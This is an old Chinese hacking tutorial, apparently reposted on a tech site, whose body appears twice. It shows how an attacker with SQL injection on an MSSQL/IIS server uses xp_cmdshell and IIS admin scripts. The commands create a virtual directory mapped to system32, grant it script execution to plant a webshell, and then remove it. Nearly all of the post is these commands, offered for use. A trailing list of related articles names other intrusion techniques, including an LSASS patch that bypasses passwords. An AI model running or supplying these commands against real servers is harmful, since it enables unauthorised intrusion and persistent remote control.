SQL注入建立虛擬目錄,找Web絕對(duì)路徑!
更新時(shí)間：2007年01月16日 00:00:00 作者：
我們很多情況下都遇到SQL注入可以列目錄和運(yùn)行命令，但是卻很不容易找到web所在目錄，也就不好得到一個(gè)webshell，這一招不錯(cuò)：
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法，
http://21o.net/h4x0r
403錯(cuò)誤，表示虛擬目錄建好了。。。
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法，
http://21o.net/h4x0r
403錯(cuò)誤，表示虛擬目錄建好了。。。
相關(guān)文章
用QQ文件共享漏洞徹底攻破Windows2003的堅(jiān)固堡壘
用QQ文件共享漏洞徹底攻破Windows2003的堅(jiān)固堡壘...2007-01-01
JSP中的源代碼泄漏問(wèn)題...2007-01-01
NtGodMode.exe是通過(guò)打開(kāi)LSASS.EXE進(jìn)程msv1_0.dll模塊空間里，然后搜索特征值8B 4D 0C 49之后第1個(gè)32 C0 這個(gè)32C0匯編碼xor al,al，修改為B001對(duì)應(yīng)匯編碼mov al,1 為什么mov al,1，以后就不用密碼了？2008-06-06
黑客之門的魅力：感染與加載(圖)...2007-01-01
某省高考志愿填報(bào)系統(tǒng)的漏洞實(shí)戰(zhàn)解說(shuō)
某省高考志愿填報(bào)系統(tǒng)的漏洞實(shí)戰(zhàn)解說(shuō)...2007-01-01
跨站腳本攻擊+Cookies欺騙(Discuz篇)...2007-01-01
域名劫持---163.net被黑的分析...2007-01-01
動(dòng)網(wǎng)7.x權(quán)限提升漏洞原理
動(dòng)網(wǎng)7.x權(quán)限提升漏洞原理...2007-01-01
手機(jī)短信轟炸(圖)...2007-01-01
手工注射asp學(xué)習(xí)...2007-02-02